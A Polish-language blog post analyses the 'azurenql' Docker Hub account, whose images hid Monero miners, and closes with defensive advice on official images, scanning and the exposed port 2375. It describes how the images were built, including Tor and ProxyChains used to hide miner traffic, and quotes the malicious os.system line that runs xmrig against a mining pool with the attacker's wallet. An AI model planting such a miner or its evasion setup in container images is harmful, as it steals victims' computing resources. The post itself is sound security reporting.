fbpx
Trwają zapisy do Szkolenia Automation Maestro ». Obszerne szkolenie DevSecOps. Oferta obowiązuje tylko do 23 lipca do 21:00.
Kubernetes Maestro → sprawdź najnowsze szkolenie »»

W ciągu ostatnich kilku lat kontenery (w ogromnej mierze za sprawą Dockera) stały się bardzo popularnym sposobem na uruchamianie usług czy aplikacji. Docker Hub stał się miejscem, gdzie zarówno społeczność jak i firmy udostępniają swój software w formie obrazów (docker image).

Jest to bez wątpienia jedna z największych zalet całego ekosystemu Dockera. Pozwala to na szybkie uruchamianie wspomnianych wcześniej usług czy aplikacji, na podstawie gotowych obrazów.

Dzięki temu każdy może skorzystać z tego dobrodziejstwa i w kilka sekund uruchomić interesujący go software, bez konieczności jego instalacji.

Cała ta sytuacja spowodowała wzrost zainteresowania wśród osób, które chciałyby na tym wszystkim zarobić – niekoniecznie w „legalny” sposób.


Wprowadzenie

Aby jeszcze bardziej podkreślić popularność Dockera (i Docker Huba), spójrzmy na statystyki pobrań obrazów z 2019 roku.

Liczbę pobrań poszczególnych obrazów CZĘSTO mierzy się w MILIONACH, a gdyby tak to wszystko zsumować, to byłyby MILIARDY.

I są to miliardy. Łączna liczba pobrań obrazów na rok 2019 to 130 miliardów (130 000 000 000)

Statystyki pobrań obrazów z Docker Huba w 2019 roku


Kopanie kryptowalut w Dockerze – jak do tego doszło?

Każdy z nas jest w stanie założyć swoje własne i publiczne repozytorium obrazów na Docker Hub. Jeżeli jeszcze tego nie robiłeś, to obstawiam, że zrobisz to w mniej niż minutę.

Jeżeli repozytorium na Docker Hub jest publiczne, to każdy użytkownik Dockera (nawet bez konta na Docker Hub) może pobrać znajdujące się w nim obrazy.

Tę możliwość wykorzystały osoby, które postanowiły na tym wszystkim sobie zarobić.

Na Docker Hubie zostało odkryte konto o nazwie azurenql (aktywne od października 2019) zawierające osiem repozytoriów. Wewnątrz nich znajdowało się aż sześć obrazów, w których „zaszyto” skrypty odpowiadające za kopanie kryptowaluty Monero. Poniżej znajduje się screenshot konta azurenql oraz jego repozytoriów.

Podatne obrazy na Docker Hubie

Jak łatwo zauważyć na powyższym zdjęciu, obrazy pochodzące z konta azurenql były BARDZO chętnie pobierane przez użytkowników. Z mojego researchu wynika, że łączna liczba pobrań sześciu zawierających podatne skrypty obrazów to ponad DWA miliony (2 000 000).

Oczywiście po zidentyfikowaniu skryptów występujących w tych obrazach, całe konto zostało natychmiastowo zablokowane i skasowane z Docker Huba.

Zanim jeszcze konto zostało usunięte, jego adres URL był następujący hub.docker.com/u/azurenql


Co znajdowało się w podatnych obrazach?

Struktura jednego z podatnych obrazów w przybliżeniu wyglądała następująco.

  1. Użyj ubuntu 16.04 LTS jako obraz bazowy
    FROM ubuntu:16.04
  2. Zainstaluj narzędzia do kompilacji ze źródeł: gcc, make, python itp.
    RUN apt-get update && apt-get install …
  3. Zainstaluj narzędzie Tor. Dzięki temu ruch sieciowy był anonimowy, a Tor domyślnie działa na porcie 9050.
  4. Wrzuć do obrazu źródła ProxyChains-NG i zbuduj je.
    COPY & RUN
  5. Wrzuć do obrazu źródła software’u do kopania kryptowalut XMRig i zbuduj je.
    COPY & RUN
  6. Wrzuć skrypt napisany w Pythonie – dao.py i ustaw go jako ENTRYPOINT.
    COPY & ENTRYPOINT [“python”, “dao.py”]

Nie ma tutaj nic skomplikowanego, prawda? ; )

Schemat powstania podatnych obrazów służących do kopania kryptowaluty Monero


W jaki sposób twórcy obrazu na tym zarabiali?

Sprawa wyglądała bardzo prosto.

Po pobraniu obrazu i uruchomieniu na jego podstawie kontenera, w tle uruchamiał się wyżej omówiony skrypt dao.py, odpowiadający za kopanie kryptowaluty Monero.

Wrzucając podatny skrypt w ENTRYPOINT, twórcy obrazu zagwarantowali sobie, że skrypt uruchomi się ZAWSZE.

Jeżeli w infrastrukturze działa jakieś narzędzie do śledzenia ruchu sieciowego, takie operacje mogłyby zostać namierzone.

Aby trudniej było namierzyć problem, użyto narzędzi ProxyChains oraz Tor, których zadaniem w było blokowanie możliwości śledzenia ruchu wychodzącego z kontenera.

Dzięki temu, zanim namierzono problem, autorzy obrazów (i skryptów) cieszyli się i liczyli zarobione wirtualne pieniądze (co oczywiście ma przełożenie na prawdziwą walutę – $$).


Szukasz wiedzy na temat bezpieczeństwa obrazów & kontenerów?

Jeżeli jesteś zainteresowany bezpieczeństwem kontenerów i szukasz wiedzy z tego zakresu, to możesz znaleźć ją… u MNIE ; )

Kurs Docker Maestro

W kursie online Docker Maestro znajdziesz cały moduł poświęcony właśnie bezpieczeństwu. Od zabezpieczenia i weryfikacji obrazów, zarówno oficjalnych jak i tych, które tworzysz samodzielnie, aż po zabezpieczanie Docker Hosta. Cały kurs to łącznie 12 modułów i blisko 13 godzin praktycznej wiedzy.

Konsultacje

Istnieje możliwość umówienia się ze mną na konsultację 1:1. Podczas takiej konsultacji dogłębnie analizuję problem, z którym się mierzysz. Może to być problem z tematu bezpieczeństwa obrazów i kontenerów. Więcej szczegółów na temat oferowanych przeze mnie konsultacji z konteneryzacji i Dockera znajdziesz TUTAJ

Dedykowane Szkolenia z Dockera dla firm

Wychodzę naprzeciw z ofertą dedykowanych szkoleń z Dockera, które przeprowadzę w siedzibie Twojej firmy, bądź też online.

Co ważne, agenda szkolenia nie jest sztywna. Każdej szkolenie jest dostosowane do potrzeb i poziomu zaawansowania odbiorców. Inaczej mówiąc – szkolenie jest szyte na miarę. Więcej szczegółów znajdziesz TUTAJ


Ile na tym wszystkim ktoś zarobił?

Wewnątrz skryptu odpowiadającego za kopanie kryptowaluty Monero, znajdowało się odwołanie do wirtualnego portfela kryptowalut.

ID portfela:

43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf

Poniżej natomiast znajduje się fragment skryptu, który odnaleziono w jednym z podatnych obrazów.

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

Co ciekawe, ostatnia aktywność portfela została zanotowana w kwietniu i maju 2020. Być może w chwili, gdy to czytasz, ktoś nadal czerpie z tego zyski ; )

Aktywność wirtualnego portfela

Statystyki te pochodzą z portalu http://minexmr.com/

Sprawdzając stan wirtualnego portfela (na podstawie ID portfela zamieszczonego w podatnym skrypcie), okazuje się, że zarobiono na tym 525.38 XMR, co po przeliczeniu i zaokrągleniu daje $36,000 dolarów.


Jak nie zostać ofiarą?

Pewnie zaraz po informacji, w jaki sposób ktoś zarobił te tysiące dolarów, ciekawi Cię jak NIE dać się wyrolować i nie zostać ofiarą.

Po pierwsze korzystaj z OFICJALNYCH obrazów. Omawiany obraz azurenql NIE BYŁ obrazem oficjalnym. Jego nazwa była zbliżona do obrazów znajdujących się w repozytorium Microsoftu, co mogło sprawić, że został on pobrany na tak dużą skalę, a co za tym idzie – umożliwił pewnym osobom troszkę zarobić :))

Po drugie: nawet jeśli obraz jest oficjalny, to mimo wszystko rekomenduję korzystanie z narzędzi służących do SKANOWANIA pod kątem bezpieczeństwa. Przykładem takiego narzędzia jest Anchore, którego działanie opisywałem TUTAJ.

TLDR; Anchore można uruchomić we własnej infrastrukturze. Jeśli szukasz jednak narzędzii w modelu “As a Service” – Snyk.io może Cię zainteresować.

PS. Podziel się proszę tym wpisem ze znajomymi lub kolegami z pracy – i nie dajcie się „shakować”. No bo dlaczego ktoś ma zarabiać na waszej infrastrukturze? ; )

PPS. Jeżeli chcesz otrzymywać informacje o nowych wpisach na blogu – scrolnij nieco w dół i zapisz się do newslettera.

Po trzecie: zadbaj o bezpieczeństwo zarówno obrazów, które tworzysz, jak i Twojego Docker hosta, gdzie uruchamiasz kontenery.

Po czwarte: NIGDY, ale to przenigdy nie otwieraj na świat portu 2375. Robiąc to, udostępniasz na świat WSZYSTKIM dostęp do Twojego Docker hosta.


Kilka słów na koniec

Ta historia pokazuje, że uruchamianie „na ślepo” obrazów z Docker Huba może mieć różne konsekwencje dla ofiary. W tym przypadku była to strata w postaci zużycia zasobów. Twórcom tego wytrychu przyniosło to z kolei spore korzyści $$. (Bo jak nie wiadomo, o co chodzi, to chodzi o pieniądze)

Pamiętaj jednak, że celem kolejnego takiego „ataku” może być na przykład przejęcie całego Docker hosta.

Mam nadzieję, że po tym artykule, już od zawsze będziesz bynajmniej sprawdzać, czy obraz, którego planujesz użyć, jest OFICJALNYM obrazem oraz czy pochodzi od „zaufanego” dostawcy.

Być może ta historia skłoni Cię również do poświęcania uwagi bezpieczeństwu tworzonych obrazów, oraz sprawi, że zaczniesz dbać również o bezpieczeństwa Docker hosta – czyli miejsca, gdzie uruchamiane są kontenery.


.

Damian Naprawa

Software Architect, Docker Certified Associate, praktykujący entuzjasta konteneryzacji. Lubi dzielić się wiedzą na swoim blogu https://szkoladockera.pl oraz w podkaście "Więcej Niż Konteneryzacja". Uczestnik globalnego programu partnerskiego Docker Enablement. Od kilku lat używa kontenerów na produkcji oraz mówi w języku #docker & #kubernetes. Fan automatyzacji oraz podejścia "As a Code"

1 Komentarz

Krzysiek · 17 lipca 2020 o 18 h 23 min

Ciekawe ?
Można też kopać za pomocą WebAssembly ludziom na frontendzie – https://spectrum.ieee.org/tech-talk/telecom/security/more-worries-over-the-security-of-web-assembly

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *